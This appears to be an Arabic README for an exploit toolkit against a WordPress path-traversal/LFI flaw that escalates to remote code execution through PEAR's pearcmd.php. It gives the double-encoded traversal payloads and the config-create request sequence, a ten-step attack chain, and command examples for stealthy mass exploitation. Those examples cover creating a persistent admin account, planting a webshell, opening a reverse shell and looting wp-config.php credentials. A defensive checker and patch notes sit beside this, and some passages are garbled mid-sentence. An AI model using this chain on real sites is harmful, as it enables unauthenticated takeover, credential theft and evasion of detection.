
مجموعة أدوات WordPress CVE-2026-87902 LFI-to-RCE مع سلسلة استغلال مسلّحة (PEAR RCE، webshell، إنشاء حساب مسؤول، جمع البيانات) ونسخة SafeChecker غير تدخلية ومدقّق مخاطر.

للاستخدام الأخلاقي فقط – اختبار أمني مصرح به
يوفر هذا المستودع أدوات لمتخصصي الأمن المصرح لهم، والفرق الزرقاء، ومختبري الاختراق فقط.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب CFAA (الولايات المتحدة)، وقانون إساءة استخدام الحاسوب (المملكة المتحدة)، وTCK 243/244 (تركيا)، وقوانين مماثلة في جميع أنحاء العالم.
CVE‑2026‑87902 هي ثغرة حرجة من نوع اجتياز المسار غير المصادق عليه وتضمين الملفات المحلية (LFI) في نواة WordPress (الإصدارات 4.7.0 حتى 7.1.1) تسمح لمهاجم غير مصادق عليه بتضمين ملفات .php محلية عشوائية عبر معامل الاستعلام pagename، وفي ظروف خادم محددة التصعيد إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر تسلسل ملف PEAR pearcmd.php. درجة CVSS: 9.2 (حرجة). تم الإفصاح عنها بواسطة Robert Ressl عبر برنامج HackerOne الخاص بـ WordPress في يوليو 2026. تم تصحيحها في 7.1.2 في 22 سبتمبر 2026، مع ترقيعات رجعية وصولاً إلى 4.7.
تؤثر الثغرة على كل إصدار WordPress منذ 2016 — عقد من الإصدارات التي اجتازت مراجعة الكود دون اكتشاف. السبب الجذري هو استدعاء تحقق واحد مفقود في أحد أكثر مسارات الكود استخداماً في نظام إدارة المحتوى.
حل القالب غير المعقم – يبني get_page_template() في wp-includes/template.php مرشحات القالب من متغير الاستعلام pagename. يطبق مسار كود مجاور في نفس الدالة validate_file() لحظر تسلسلات ../، لكن فرع $pagename لا يستدعيه. أي اجتياز في pagename يمر دون فحص.
تجاوز الاجتياز المزدوج الترميز – يطبق WordPress sanitize_title_for_query() على pagename، والتي تستبدل النقاط الحرفية (.) بشرطات لمنع الاجتياز. لكن الدالة تعمل على مدخلات مفكوكة الترميز بالفعل ولا تفك الترميز بشكل متكرر. يرسل المهاجم %252e%252e%252f؛ يفك خادم الويب ترميزه مرة واحدة إلى %2e%2e%2f؛ لا يرى المعقم نقاطاً حرفية ويمرره؛ ثم يستدعي get_page_template() الدالة مرة أخرى داخل الدالة، منتجاً .
page-* في القالب النشط، واضبط register_argc_argv=Off في php.ini، واحظر الاجتياز المزدوج الترميز في معامل pagename على مستوى WAF.| الأداة | الغرض | المستخدم المستهدف |
|---|---|---|
exploit.py | مجموعة أدوات مسلحة كاملة مع كشف LFI، وسلسلة PEAR RCE، وإنشاء مستخدم مسؤول، وتثبيت webshell، وreverse shell، والمسح الجماعي، ووضع التخفي، وتدوير الوكيل، وسلسلة الهجوم الكاملة. | الفرق الحمراء / مختبري الاختراق المصرح لهم |
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.pysafecheck.pyيستخدم الاستغلال نقاط نهاية WordPress والخطوات التالية:
# مثال على الاجتياز المزدوج الترميز
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd
# سلسلة PEAR config-create RCE
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php
# تشغيل تضمين PEAR
GET /?page_id=2&pagename={encoded_output_path}
يُقدَّم هذا البرنامج لأغراض تعليمية واختبار أمني مصرح به فقط.
urldecode()../شرط دليل القالب المسبق – يجب أن يحتوي القالب النشط على دليل من المستوى الأعلى يبدأ اسمه بـ page- (مثل page-templates/). ثم يهرب اسم الملف المُنشأ page-{pagename}.php من جذر القالب عبر الاجتياز. القوالب الافتراضية الأقدم (Twenty Twelve، Twenty Fourteen) والقوالب الشائعة من طرف ثالث (Neve، Hestia، Sydney) تشحن هذا الدليل. القوالب الفرعية الموروثة من هذه القوالب الأم تحقق الشرط المسبق أيضاً.
مصب LFI في locate_template() – يُمرر مسار المرشح إلى locate_template()، الذي يبحث في أدلة القالب. لأن الاجتياز يُحل إلى ملف خارج تلك الأدلة، والدالة تتحقق فقط من file_exists()، يتم تضمين أي ملف .php قابل للقراءة بـ صلاحيات خادم الويب الكاملة. هذا يجعل LFI غير مشروط على أي موقع غير مرقع يستوفي شرط القالب المسبق — بما في ذلك wp-config.php مع بيانات اعتماد قاعدة البيانات وأملاح المصادقة.
تصعيد RCE عبر PEAR pearcmd.php – يأتي PEAR مع العديد من تثبيتات PHP. عادةً ما يكون pearcmd.php الخاص به لواجهة سطر الأوامر فقط، لكن عندما يكون register_argc_argv=On، يملأ PHP $_SERVER['argv'] من سلسلة استعلام URL. يضمّن المهاجم pearcmd.php عبر LFI، ويمرر config-create كوسيط، ويوفر كود PHP بالإضافة إلى مسار إخراج (/tmp/shell.php). يكتب PEAR كود المهاجم على القرص؛ تضمين ثانٍ ينفذه.
مسار استغلال ثانٍ – طلب يجمع بين name (slug الصفحة الأمامية)، وpage_id (معرف صفحة المقالات)، وpreview=true، وحمولة pagename يحوّل WP_Query إلى فرع post_name الخاص به، والذي لا يعيد كتابة pagename أبداً عبر sanitize_title_for_query(). هذا يسمح بـ نقاط حرفية في الاجتياز. يتطلب قالباً بدون single.php.
متطلبات تكوين الخادم – يعتمد RCE على شرطين شائعين في عمليات النشر الحقيقية: وجود/قراءة pearcmd.php (شائع في الاستضافة المشتركة، وcPanel، وصور PHP Docker الرسمية)، وregister_argc_argv=On (الافتراضي في PHP أقل من 8.5). غيّر PHP 8.5 الافتراضي إلى Off. على خادم PHP 8.5+ حديث بدون PEAR، يتوقف الاستغلال عند LFI.
الترقيع – يضيف WordPress 7.1.2 طبقتين من الدفاع: (أ) استدعاء validate_file() المفقود في فرع pagename، و(ب) دالة جديدة _wp_is_template_path_allowed() تستدعيها locate_template() لـ كل قالب يتم حله. ترفض الدالة المسارات التي تحتوي على ..، ثم تحل المسار الحقيقي عبر realpath() وتتحقق من أنه يقع داخل أحد أدلة القالب المسموح بها. هذا الدفاع في العمق يغلق المصب، وليس مجرد مسار واحد إليه.
استغلال نشط في البرية – لوحظت أولى الطلبات الخبيثة بعد 5 ساعات من إصدار الترقيع (17:44 UTC، 22 سبتمبر 2026). تضاعف حجم الحركة عشرة أضعاف خلال اليوم التالي. لوحظت ثلاث مراحل: استطلاع config-show → اكتشاف ملفات النواة → تسليح config-create. تضمنت أسماء ملفات الحمولة wp-pear-rce-flag.php، وpoc87902.php، وluci_*.php، وzeta_*.php، مكتوبة إلى /tmp و/var/tmp. عناوين IP المهاجمة: 169.58.48.193، و169.58.48.195، و2001:df1:e8c0::106b.
التأثير – تنفيذ التعليمات البرمجية بصلاحيات خادم الويب. استيلاء كامل على الموقع، وسرقة بيانات اعتماد wp-config.php، وتسريب البيانات، وتثبيت webshell، وإنشاء مستخدم مسؤول، وreverse shell، وهجمات سلسلة التوريد عبر إضافات/قوالب معدلة، والتحرك الجانبي إلى الخدمات المتصلة. تعكس درجة CVSS 9.2 القابلية للاستغلال عبر الشبكة، وعدم المصادقة، والتأثير العالي على السرية/السلامة/التوافر. يعكس تعقيد الهجوم العالي شروط القالب والخادم المسبقة، لكن في الاستضافة المشتركة النموذجية غالباً ما تتحقق هذه الشروط.
safecheck.py | فاحص ثغرات غير تدخلي يكتشف إصدار WordPress، ويتحقق من التعرض، ويقيّم المخاطر دون تضمين أي ملف أو تنفيذ أي حمولة. ينشئ تقارير JSON. | الفرق الزرقاء / مدققو الأمن |
| الميزة | exploit.py | safecheck.py |
|---|
| كشف الثغرة | ✅ | ✅ |
| كشف الإصدار | ✅ | ✅ |
فحص دليل page-* في القالب | ✅ | ✅ |
إمكانية الوصول إلى PEAR pearcmd.php | ✅ | ✅ |
فحص register_argc_argv | ✅ | ✅ |
| فحص سلوك WAF | ❌ | ✅ |
| فحص LFI المزدوج الترميز | ✅ | ❌ |
PEAR config-create RCE | ✅ | ❌ |
| إنشاء مستخدم مسؤول | ✅ | ❌ |
| تثبيت webshell | ✅ | ❌ |
| Reverse shell | ✅ | ❌ |
سلب wp-config.php | ✅ | ❌ |
| سلسلة الهجوم الكاملة | ✅ | ❌ |
| المسح الجماعي (متعدد الخيوط) | ✅ | ✅ |
| دعم الوكيل | ✅ | ✅ |
| تدوير الوكيل | ✅ | ❌ |
| تدوير User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| محدد المعدل | ✅ | ❌ |
| وضع غير تدخلي (آمن) | ❌ | ✅ |
| تقرير تقييم المخاطر | ✅ | ✅ |
| توصيات التخفيف | ❌ | ✅ |
| تقرير JSON | ✅ | ✅ |
| تقرير CSV | ✅ | ✅ |
| تقرير HTML | ✅ | ✅ |
| مخرجات SQLite | ✅ | ✅ |
| User‑Agent مخصص | ✅ | ✅ |
| التحكم في التحقق من SSL | ✅ | ✅ |
| السيناريو | الأداة الموصى بها |
|---|
| الفريق الأزرق – التحقق مما إذا كان WordPress الخاص بك معرضاً للثغرة | safecheck.py |
| التدقيق الأمني – تقييم ثغرات غير تدخلي | safecheck.py |
| الفريق الأحمر – اختبار اختراق مصرح به مع استغلال كامل | exploit.py |
| Bug Bounty – اختبار الإفصاح المسؤول | safecheck.py |
| المسح الجماعي – فحص أهداف متعددة بحثاً عن الثغرة | exploit.py (كشف فقط) |
| الاستجابة للحوادث – التحقق مما إذا كانت الأنظمة مخترقة | safecheck.py |
| المعامل | الوصف |
|---|
-u, --url | عنوان URL لهدف WordPress واحد (مثل http://wordpress.example.com) |
-f, --file | ملف يحتوي على قائمة الأهداف (واحد في كل سطر) للمسح الجماعي |
--pipe | قراءة الأهداف من stdin |
--exploit | تنفيذ الاستغلال بعد الكشف |
--create-admin | إنشاء مستخدم مسؤول دائم (التنسيق: USER:PASS) |
--webshell | تثبيت webshell عبر RCE |
--reverse-shell | تشغيل reverse shell (التنسيق: LHOST:LPORT) |
--loot | سلب wp-config.php وملفات أخرى |
--threads | عدد الخيوط لعدة أهداف (الافتراضي: 8) |
--timeout | مهلة الطلب (الافتراضي: 15 ثانية) |
--retry | الحد الأقصى لإعادة المحاولات (الافتراضي: 3) |
--proxy | وكيل HTTP/HTTPS (مثل http://127.0.0.1:8080) |
--proxy-list | ملف يحتوي على وكلاء للتدوير (واحد في كل سطر) |
--proxy-rotate | استراتيجية تدوير الوكيل (round-robin، random، sticky) |
--jitter | jitter عشوائي بين الطلبات |
--jitter-range | الحد الأدنى، الأقصى للـ jitter بالثواني (الافتراضي: 0.1,2.0) |
--delay | تأخير ثابت بين الطلبات |
--stealth | تمكين وضع التخفي (تدوير UA + jitter) |
--insecure | تعطيل التحقق من TLS |
--user-agent | User-Agent مخصص |
--max-body | الحد الأقصى لحجم جسم الاستجابة |
--concurrent-per-host | الحد الأقصى للطلبات المتزامنة لكل مضيف |
--rate-limit | الحد الأقصى للطلبات في الثانية |
--exclude | مضيفون مفصولون بفواصل لاستبعادهم |
-o, --output | حفظ التقرير إلى ملف (.json، .csv، .html، .jsonl) |
--db | ملف قاعدة بيانات SQLite |
-v, --verbose | مخرجات مطولة |
-q, --quiet | وضع صامت |
--no-banner | كتم اللافتة |
| المعامل | الوصف |
|---|
-u, --url | عنوان URL لهدف WordPress واحد (مثل http://wordpress.example.com) |
-f, --file | ملف يحتوي على قائمة الأهداف (واحد في كل سطر) |
--pipe | قراءة الأهداف من stdin |
-t, --threads | عدد الخيوط لعدة أهداف (الافتراضي: 8) |
--timeout | مهلة الطلب (الافتراضي: 15 ثانية) |
--retry | الحد الأقصى لإعادة المحاولات (الافتراضي: 3) |
--proxy | وكيل HTTP/HTTPS |
--jitter | jitter عشوائي بين الطلبات |
--jitter-range | الحد الأدنى، الأقصى للـ jitter بالثواني (الافتراضي: 0.1,2.0) |
--delay | تأخير ثابت بين الطلبات |
--insecure | تعطيل التحقق من TLS |
--user-agent | User-Agent مخصص |
--max-body | الحد الأقصى لحجم جسم الاستجابة |
--concurrent-per-host | الحد الأقصى للطلبات المتزامنة لكل مضيف |
--exclude | مضيفون مفصولون بفواصل لاستبعادهم |
-o, --output | حفظ تقرير JSON إلى ملف (.json، .csv، .html، .jsonl) |
--db | ملف قاعدة بيانات SQLite |
-v, --verbose | مخرجات مطولة |
-q, --quiet | وضع صامت |
--no-banner | كتم اللافتة |
| # | السيناريو | الأمر |
|---|
| 1 | فحص سريع للثغرة | python safecheck.py -u http://wordpress.example.com |
| 2 | فحص مفصل مع تقرير | python safecheck.py -u http://wordpress.example.com -o report.json -v |
| 3 | تدقيق جماعي من ملف | python safecheck.py -f targets.txt -t 10 -o audit.json |
| 4 | استغلال كشف فقط | python exploit.py -u http://wordpress.example.com |
| 5 | سلب wp-config.php | python exploit.py -u http://wordpress.example.com --exploit --loot |
| 6 | هجوم كامل مع webshell | python exploit.py -u http://wordpress.example.com --exploit --webshell |
| 7 | إنشاء مستخدم مسؤول دائم | python exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1 |
| 8 | Reverse shell | python exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444 |
| 9 | سلسلة الهجوم الكاملة | python exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1 |
| 10 | استغلال جماعي مع التخفي | python exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json |
| 11 | تدوير الوكيل | python exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit |
| الخطوة | الطريقة | نقطة النهاية | الوصف |
|---|
| 1. البصمة | GET | / | كشف WordPress عبر wp-content، wp-includes، wp-json |
| 2. الإصدار | GET | /feed/ | استخراج الإصدار عبر وصفة <generator> |
| 3. معرف الصفحة | GET | /wp-json/wp/v2/pages | اكتشاف page_id صالح |
| 4. دليل القالب | GET | /wp-content/themes/{theme}/page-templates/ | تأكيد شرط page-* المسبق |
| 5. فحص LFI | GET | /?page_id={id}&pagename={payload} | اجتياز مزدوج الترميز لتضمين ملف محلي |
| 6. تضمين PEAR | GET | /?page_id={id}&pagename={pearcmd} | تضمين pearcmd.php |
| 7. PEAR RCE | GET | /?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile} | كتابة ملف PHP عبر PEAR |
| 8. التنفيذ | GET | /?page_id={id}&pagename={outfile} | تضمين الملف المكتوب → RCE |
| 9. الاستمرارية | GET | (عبر RCE) | إنشاء مستخدم مسؤول / webshell |
| 10. السلب | GET | /?page_id={id}&pagename={wp-config} | قراءة wp-config.php عبر LFI |